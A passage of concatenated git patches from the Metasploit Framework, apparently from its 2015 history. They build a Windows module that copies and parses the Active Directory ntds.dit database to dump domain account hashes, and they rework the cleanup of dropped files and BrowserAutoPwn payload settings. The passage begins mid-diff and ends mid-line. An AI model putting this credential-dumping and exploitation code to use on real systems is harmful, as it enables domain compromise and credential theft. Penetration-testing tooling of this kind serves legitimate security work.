[String] the raw 3948 byte string from the wire @@ -105,17 +79,17 @@ module Metasploit # @return [String] String representation of the account data def to_s - < Date: Mon, 11 May 2015 14:48:12 -0500 Subject: [PATCH 0062/1013] begin parsing of the database clean up and begin aprsing the database after we have copied it MSP-12358 --- .../windows/gather/credentials/domain_hashdump.rb | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 908088c96c..45783d8257 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' +require 'metasploit/framework/ntds/parser' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry @@ -32,6 +33,14 @@ class Metasploit3 < Msf::Post def run if preconditions_met? ntds_file = copy_database_file + unless ntds_file.nil? + print_status "Repairing NTDS database after copy..." + print_status repair_ntds(ntds_file) + ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file) + ntds_parser.each_account do |ad_account| + print_good ad_account.to_s + end + end end end @@ -65,6 +74,7 @@ class Metasploit3 < Msf::Post result = cmd_exec("ntdsutil.exe", command_arguments) if result.include? "IFM media created successfully" file_path = "#{tmp_path}\\Active Directory\\ntds.dit" + print_status "NTDS database copied to #{file_path}" else print_error "There was an error copying the ntds.dit file!" file_path = nil @@ -94,6 +104,11 @@ class Metasploit3 < Msf::Post return status end + def repair_ntds(path='') + arguments = "/p /o \"#{path}\"" + cmd_exec("esentutl", arguments) + end + def vss_method end From ecb23d09ccd1e086e74f1f68a2048e2966144ed3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 May 2015 15:02:46 -0500 Subject: [PATCH 0063/1013] Do initial fix --- lib/msf/core/exploit/file_dropper.rb | 48 +++++++++++++++++++++++++--- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index e53803241a..c790abb60b 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -3,6 +3,9 @@ module Msf module Exploit::FileDropper + include Msf::Post::Common + include Msf::Post::File + def initialize(info = {}) super @@ -22,6 +25,8 @@ module Exploit::FileDropper def on_new_session(session) super + @session = session + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @@ -32,6 +37,8 @@ module Exploit::FileDropper @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") + exists_before = check_file(file, win_file) + if session.type == "meterpreter" begin # Meterpreter should do this automatically as part of @@ -41,10 +48,9 @@ module Exploit::FileDropper session.shell_command_token(%Q|attrib.exe -r #{win_file}|) end session.fs.file.rm(file) - print_good("Deleted #{file}") - true + file_deleted?(file, win_file, exists_before) rescue ::Rex::Post::Meterpreter::RequestError - false + return false end else win_cmds = [ @@ -59,8 +65,7 @@ module Exploit::FileDropper # succeed. Doing it this way saves us an extra round-trip. # Trick shared by @mihi42 session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") - print_good("Deleted #{file}") - true + file_deleted?(file, win_file, exists_before) end end end @@ -125,6 +130,39 @@ module Exploit::FileDropper print_warning("This exploit may require manual cleanup of '#{f}' on the target") end + private + + def session + @session + end + + alias :client :session + + def check_file(file, win_file) + if session.platform =~ /win/ + res = file_exist?(win_file) + else + res = file_exist?(file) + end + + res + end + + def file_deleted?(file, win_file, exists_before) + if exists_before + if check_file(file, win_file) + print_error("Unable to delete #{file}") + false + else + print_good("Deleted #{file}") + true + end + end + + print_warning("Tried to delete #{file}, unknown result") + true + end + end end end From 3cba27e46156dc62a3d875d0ce1ff5f81f23e6a8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 May 2015 15:03:05 -0500 Subject: [PATCH 0064/1013] Add test case --- modules/post/multi/general/delete.rb | 92 ++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 modules/post/multi/general/delete.rb diff --git a/modules/post/multi/general/delete.rb b/modules/post/multi/general/delete.rb new file mode 100644 index 0000000000..04aa95f3e5 --- /dev/null +++ b/modules/post/multi/general/delete.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'FileDropper code test case', + 'Description' => %q{ Test case for issue #4667 }, + 'License' => MSF_LICENSE, + 'Author' => [ 'juan vazquez' ], + 'Platform' => %w{ linux osx unix win java php python }, + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + end + + def check_file(file, win_file) + if session.platform =~ /win/ + res = file_exist?(win_file) + else + res = file_exist?(file) + end + + res + end + + def file_deleted?(file, win_file, exists_before) + if exists_before + if check_file(file, win_file) + print_error("Unable to delete #{file}") + false + else + print_good("Deleted #{file}") + true + end + else + print_warning("Tried to delete #{file}, unknown result") + true + end + end + + def run + @dropped_files = [ + '/tmp/test1.txt', + '/tmp/test2.txt', + '/tmp/test3.txt' + ] + + @dropped_files.delete_if do |file| + print_status("Trying to delete #{file}... ") + win_file = file.gsub("/", "\\\\") + exists_before = check_file(file, win_file) + + if session.type == "meterpreter" + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) + rescue ::Rex::Post::Meterpreter::RequestError + return false + end + file_deleted?(file, win_file, exists_before) + else + win_cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"| + ] + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unix command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + # Trick shared by @mihi42 + session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") + file_deleted?(file, win_file, exists_before) + end + end + end + +end From b1dd2a63fc66614662504da68cff715e52d69e0c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 May 2015 17:14:42 -0500 Subject: [PATCH 0065/1013] On new session, check if file has been REALLY deleted --- lib/msf/core/exploit/file_dropper.rb | 127 +++++++++++++-------------- 1 file changed, 63 insertions(+), 64 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index c790abb60b..2439a6c6b7 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -3,15 +3,12 @@ module Msf module Exploit::FileDropper - include Msf::Post::Common - include Msf::Post::File - def initialize(info = {}) super register_advanced_options( [ - OptInt.new( 'FileDropperDelay', [ false, 'Delay in seconds before attempting file cleanup' ]) + OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting file cleanup']) ], self.class) end @@ -23,12 +20,10 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) - super + super(session) - @session = session - - if session.type == "meterpreter" - session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') end if not @dropped_files or @dropped_files.empty? @@ -36,36 +31,11 @@ module Exploit::FileDropper end @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - exists_before = check_file(file, win_file) - - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) - end - session.fs.file.rm(file) - file_deleted?(file, win_file, exists_before) - rescue ::Rex::Post::Meterpreter::RequestError - return false - end + exists_before = file_dropper_check_file(file) + if file_dropper_delete(file) + file_dropper_deleted?(file, exists_before) else - win_cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"| - ] - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unix command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - # Trick shared by @mihi42 - session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") - file_deleted?(file, win_file, exists_before) + false end end end @@ -114,9 +84,8 @@ module Exploit::FileDropper @dropped_files.delete_if do |file| begin file_rm(file) - print_good("Deleted #{file}") - true - #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e + # We don't know for sure if file has been deleted, so always warn about it to the user + false rescue ::Exception => e vprint_error("Failed to delete #{file}: #{e}") elog("Failed to delete #{file}: #{e.class}: #{e}") @@ -130,39 +99,69 @@ module Exploit::FileDropper print_warning("This exploit may require manual cleanup of '#{f}' on the target") end - private + end - def session - @session - end + private - alias :client :session + def file_dropper_win_file(file) + file.gsub('/', "\\\\") + end - def check_file(file, win_file) - if session.platform =~ /win/ - res = file_exist?(win_file) - else - res = file_exist?(file) - end + def file_dropper_delete(file) + win_file = file_dropper_win_file(file) - res - end - - def file_deleted?(file, win_file, exists_before) - if exists_before - if check_file(file, win_file) - print_error("Unable to delete #{file}") - false - else - print_good("Deleted #{file}") - true + if session.type == 'meterpreter' + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) end + session.fs.file.rm(file) + true + rescue ::Rex::Post::Meterpreter::RequestError + false end + else + win_cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"| + ] + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unix command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + # Trick shared by @mihi42 + session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") + true + end + end + def file_dropper_check_file(file) + if session.platform =~ /win/ + normalized = file_dropper_win_file(file) + else + normalized = file + end + + Msf::Post::File.file_exist?(normalized) + end + + def file_dropper_deleted?(file, exists_before) + if exists_before && file_dropper_check_file(file) + print_error("Unable to delete #{file}") + false + elsif exists_before + print_good("Deleted #{file}") + true + else print_warning("Tried to delete #{file}, unknown result") true end - end + end end From a40af79ed9d49cc1996950ede3a3e229e710d304 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 May 2015 17:15:13 -0500 Subject: [PATCH 0066/1013] Delete dummy test case --- modules/post/multi/general/delete.rb | 92 ---------------------------- 1 file changed, 92 deletions(-) delete mode 100644 modules/post/multi/general/delete.rb diff --git a/modules/post/multi/general/delete.rb b/modules/post/multi/general/delete.rb deleted file mode 100644 index 04aa95f3e5..0000000000 --- a/modules/post/multi/general/delete.rb +++ /dev/null @@ -1,92 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - include Msf::Post::File - - def initialize(info={}) - super( update_info( info, - 'Name' => 'FileDropper code test case', - 'Description' => %q{ Test case for issue #4667 }, - 'License' => MSF_LICENSE, - 'Author' => [ 'juan vazquez' ], - 'Platform' => %w{ linux osx unix win java php python }, - 'SessionTypes' => [ 'shell', 'meterpreter' ] - )) - end - - def check_file(file, win_file) - if session.platform =~ /win/ - res = file_exist?(win_file) - else - res = file_exist?(file) - end - - res - end - - def file_deleted?(file, win_file, exists_before) - if exists_before - if check_file(file, win_file) - print_error("Unable to delete #{file}") - false - else - print_good("Deleted #{file}") - true - end - else - print_warning("Tried to delete #{file}, unknown result") - true - end - end - - def run - @dropped_files = [ - '/tmp/test1.txt', - '/tmp/test2.txt', - '/tmp/test3.txt' - ] - - @dropped_files.delete_if do |file| - print_status("Trying to delete #{file}... ") - win_file = file.gsub("/", "\\\\") - exists_before = check_file(file, win_file) - - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) - end - session.fs.file.rm(file) - rescue ::Rex::Post::Meterpreter::RequestError - return false - end - file_deleted?(file, win_file, exists_before) - else - win_cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"| - ] - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unix command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - # Trick shared by @mihi42 - session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") - file_deleted?(file, win_file, exists_before) - end - end - end - -end From c5be1933570ba176a87a4b0eb67d4e2c977d37db Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 11 May 2015 18:21:50 -0500 Subject: [PATCH 0067/1013] Maybe put custom content at the bottom? --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 518fbe1fd0..4ee8893dee 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -438,9 +438,9 @@ module Msf - #{datastore['Content']} - | + + #{datastore['Content']}| end end From 0fb21af247e074998fa9888aa3f9b2e841a1d2da Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 11 May 2015 18:56:18 -0500 Subject: [PATCH 0068/1013] Verify deletion at on_new_session moment --- lib/msf/core/exploit/file_dropper.rb | 27 ++++++++++++++++++- .../http/struts_code_exec_classloader.rb | 4 +-- 2 files changed, 27 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 2439a6c6b7..49a7d49e43 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -3,6 +3,8 @@ module Msf module Exploit::FileDropper + attr_accessor :session + def initialize(info = {}) super @@ -20,7 +22,18 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) - super(session) + super + + print_status("new session...") + on_new_session_job(session) + end + + def on_new_session_job(new_session) + if session + session_orig = session + end + + self.session = new_session if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') @@ -31,6 +44,7 @@ module Exploit::FileDropper end @dropped_files.delete_if do |file| + puts "Deleting #{file}" exists_before = file_dropper_check_file(file) if file_dropper_delete(file) file_dropper_deleted?(file, exists_before) @@ -38,6 +52,12 @@ module Exploit::FileDropper false end end + + if session_orig + self.session = session_orig + else + self.session = nil + end end # @@ -108,6 +128,7 @@ module Exploit::FileDropper end def file_dropper_delete(file) + puts "Deleting #{file}" win_file = file_dropper_win_file(file) if session.type == 'meterpreter' @@ -124,6 +145,7 @@ module Exploit::FileDropper false end else + puts "Deleting with shell" win_cmds = [ %Q|attrib.exe -r "#{win_file}"|, %Q|del.exe /f /q "#{win_file}"| @@ -141,16 +163,19 @@ module Exploit::FileDropper end def file_dropper_check_file(file) + puts "Checking file... #{file}" if session.platform =~ /win/ normalized = file_dropper_win_file(file) else normalized = file end + puts "Checking normalized file... #{file}" Msf::Post::File.file_exist?(normalized) end def file_dropper_deleted?(file, exists_before) + puts "Deleted? ... #{file}" if exists_before && file_dropper_check_file(file) print_error("Unable to delete #{file}") false diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index df4a0d0e66..79a444c8dc 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -271,9 +271,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end - # This path depends on CWD. May require manual cleanup - # See https://github.com/rapid7/metasploit-framework/issues/4667 - print_warning("This exploit requires manual cleanup of '#{@jsp_file}' on the target") + register_files_for_cleanup(@jsp_file) # Prepare the JSP print_status("#{peer} - Generating JSP...") From 9bba95c2a3ee4901b9ea3b486d5bb9f4c7dfb92a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 12 May 2015 01:47:03 -0500 Subject: [PATCH 0069/1013] Include more options --- lib/msf/core/exploit/browserautopwnv2.rb | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4ee8893dee..a8a163890a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -62,14 +62,18 @@ module Msf # @return [void] def set_exploit_options(xploit) p = select_payload(xploit) - xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers - xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler - xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler - xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not - xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version - xploit.datastore['LHOST'] = get_payload_lhost # Attacker's IP - xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit - xploit.datastore['SRVHOST'] = datastore['SRVHOST'] # Exploit's host + xploit.datastore['DisablePayloadHandler'] = true + xploit.datastore['PAYLOAD'] = p['payload'] + xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['SSL'] = datastore['SSL'] + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] + xploit.datastore['LHOST'] = get_payload_lhost + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] + xploit.datastore['CookieName'] = datastore['CookieName'] + xploit.datastore['VERBOSE'] = datastore['VERBOSE'] + xploit.datastore['Retries'] = datastore['Retries'] xploit.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 # Let other mixins know we're in BrowserAutoPwn mode end From 605e492781d80ba06e7387e7763971361553cc44 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 12 May 2015 01:55:22 -0500 Subject: [PATCH 0070/1013] Avoid #create if possible --- lib/msf/core/exploit/browserautopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index a8a163890a..9476df3c2a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -186,10 +186,10 @@ module Msf def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] - p = framework.payloads.create(payload_name) # The payload is legit, we can use it. - return payload_name if p + # Avoid #create seems faster + return payload_name if framework.payloads.keys.include?(payload_name) default = DEFAULT_PAYLOADS[platform]['payload'] print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") From 9fafb645dde78795a0d4ea4a60b513437fb56ae4 Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Wed, 13 May 2015 09:37:32 -0500 Subject: [PATCH 0071/1013] Updating Rails version comment --- lib/metasploit/framework/rails_version_constraint.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/rails_version_constraint.rb b/lib/metasploit/framework/rails_version_constraint.rb index aa75929e45..6258becfb0 100644 --- a/lib/metasploit/framework/rails_version_constraint.rb +++ b/lib/metasploit/framework/rails_version_constraint.rb @@ -4,9 +4,8 @@ module Metasploit module Framework module RailsVersionConstraint - # The Metasploit ecosystem is not ready for Rails 4 as it uses features of - # Rails 3.X that are removed in Rails 4. + # The Metasploit ecosystem is not yet ready for Rails 4.1: RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ] end end -end \ No newline at end of file +end From 9308da7956982505c8bc7670f849efbf0afbcdad Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 13 May 2015 12:25:44 -0500 Subject: [PATCH 0072/1013] 2003 code path working using VSS directly on server 2003 and repairing the database with esentutl is now working MSP-12358 --- lib/msf/core/post/windows/shadowcopy.rb | 19 +++++++++ .../gather/credentials/domain_hashdump.rb | 40 +++++++++++-------- 2 files changed, 42 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index 59cb021e94..3f1748b026 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -182,6 +182,25 @@ module ShadowCopy return false end end + unless start_swprv + return false + end + return true + end + + def start_swprv + vss_state = wmic_query('Service where(name="swprv") get state') + if vss_state=~ /Running/ + print_status("Software Shadow Copy service is running.") + else + print_status("Software Shadow Copy service not running. Starting it now...") + if service_restart("swprv", START_TYPE_MANUAL) + print_good("Swoftware Shadow Copy started successfully.") + else + print_error("Insufficient Privs to start service!") + return false + end + end return true end diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 45783d8257..5ceae0fa22 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -46,24 +46,23 @@ class Metasploit3 < Msf::Post def copy_database_file database_file_path = nil - case sysinfo["OS"] - when /2003/ - database_file_path = vss_method - when /2008|2012/ - database_file_path = ntdsutil_method - else - print_error "This version of Windows in unsupported" + if start_vss + case sysinfo["OS"] + when /2003| \.NET/ + database_file_path = vss_method + when /2008|2012/ + database_file_path = ntdsutil_method + else + print_error "This version of Windows is unsupported" + end end database_file_path end def is_domain_controller? status = false - service_list.each do |svc| - if svc[:name] == 'NTDS' - status = true - break - end + if session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit') + status = true end status end @@ -77,6 +76,7 @@ class Metasploit3 < Msf::Post print_status "NTDS database copied to #{file_path}" else print_error "There was an error copying the ntds.dit file!" + vprint_error result file_path = nil end file_path @@ -97,10 +97,6 @@ class Metasploit3 < Msf::Post print_error "This module requires UAC to be bypassed first" status = false end - if is_system? - print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user" - status = false - end return status end @@ -110,7 +106,17 @@ class Metasploit3 < Msf::Post end def vss_method - + id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\") + sc_details = get_sc_details(id) + sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" + target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + copy_command = "/c copy #{sc_path} #{target_path}" + result = cmd_exec('cmd.exe', copy_command) + if result =~ /1 file\(s\) copied/ + return target_path + else + return nil + end end end From a7e265b07eeb67fadaf02ed7f0445a75bc2bc2b8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 13:46:06 -0500 Subject: [PATCH 0073/1013] Proper cleanup for notes --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++++++++ .../exploit/remote/browser_exploit_server.rb | 28 +++++++++++++++++++ .../exploit/remote/browser_profile_manager.rb | 11 +++++--- 3 files changed, 55 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 9476df3c2a..f1a616b44e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -56,6 +56,25 @@ module Msf end end + def note_type_prefix + @note_type_prefix ||= "BAP.#{Time.now.to_i}.Client" + end + + def rm_target_info_notes + return unless framework.db.active + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + if note.ntype.include?(note_type_prefix) + note.destroy + end + end + } + end + + def cleanup + rm_target_info_notes + end + # Modifies an exploit's default datastore options. # @@ -63,6 +82,7 @@ module Msf def set_exploit_options(xploit) p = select_payload(xploit) xploit.datastore['DisablePayloadHandler'] = true + xploit.datastore['NoteTypePrefix'] = note_type_prefix xploit.datastore['PAYLOAD'] = p['payload'] xploit.datastore['LPORT'] = p['lport'] xploit.datastore['SSL'] = datastore['SSL'] diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 6e2edcc9f4..8936473caa 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,34 @@ module Msf end + # This overrides the #note_type_prefix method from Msf::Exploit::Remote::BrowserProfileManager. + # There are two way for BES to get this prefix, either: + # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with + # its child exploits, so that these exploits don't have to gather browser information again. + # * If the datastore option isn't set, then we assume the user is firing the exploit as a + # standalone so we make somthing more unique, so that if there are two instances using the + # same exploit, they don't actually share info. + def note_type_prefix + self.datastore['NoteTypePrefix'] || @unique_prefix ||= lambda { + "#{self.shortname}.#{Time.now.to_i}.Client" + }.call + end + + def cleanup + # Whoever registered NoteTypePrefix should do the cleanup for notes + return if self.datastore['NoteTypePrefix'] + + return unless framework.db.active + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + if note.ntype =~ /^#{self.shortname}\.\d+\.Client/ + note.destroy + end + end + } + end + + # Returns the custom 404 URL set by the user # # @return [String] diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 3e295c65de..4408f9886b 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -5,10 +5,13 @@ module Msf public - NOTE_TYPE_PREFIX = 'BrowserExploitServer.Client' + # Default prefix + def note_type_prefix + raise NoMethodError, "A mixin that's using BrowserProfileManager should define note_type_prefix" + end def get_profile_info(tag) - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" framework.db.notes.each do |note| return MessagePack.unpack(note.data) if note.ntype == normalized_tag end @@ -23,7 +26,7 @@ module Msf profile = get_profile_info(tag) end - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" profile[normalized_tag][key.to_s] = value framework.db.report_note( :type => normalized_tag, @@ -33,7 +36,7 @@ module Msf end def init_profile(tag) - normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + normalized_tag = "#{note_type_prefix}.#{tag}" empty_profile = { normalized_tag => {} } framework.db.report_note( :type => normalized_tag, From e4fed019acf24f884189bab3291f504e31cd18b6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 13 May 2015 13:51:59 -0500 Subject: [PATCH 0074/1013] Hide exploit paths As an user, you shouldn't be using exploit paths so we hide them by default. --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index f1a616b44e..5871050b20 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -346,10 +346,16 @@ module Msf def show_ready_exploits + columns = ['Order', 'Rank', 'Name', 'Path', 'Payload'] + + # If not verbose, you're not in dev mode. + # As an user, you shouldn't be using any of these paths anyway. + columns.delete('Path') if !datastore['VERBOSE'] + table = Rex::Ui::Text::Table.new( 'Header' => 'Exploits', 'Indent' => 1, - 'Columns' => ['Order', 'Rank', 'Name', 'Path', 'Payload'] + 'Columns' => columns ) # Without the order, sometimes the Rex table messes up even though in the array @@ -357,13 +363,13 @@ module Msf order = 1 bap_exploits.each do |m| - table << [ - order, - parse_rank(m.rank), - m.shortname, - m.datastore['URIPATH'], - "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" - ] + row = [] + row << order + row << parse_rank(m.rank) + row << m.shortname + row << m.datastore['URIPATH'] if datastore['VERBOSE'] + row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + table << row order += 1 end From 0e666d57322afe972078357b1cbe55bf99edd504 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 13 May 2015 15:28:11 -0500 Subject: [PATCH 0075/1013] gaurd against arch mismatch this will not work from an x86 proc on an x64 machine, so guard against that. MSP-12358 --- .../windows/gather/credentials/domain_hashdump.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 5ceae0fa22..02a4b73fea 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -97,6 +97,9 @@ class Metasploit3 < Msf::Post print_error "This module requires 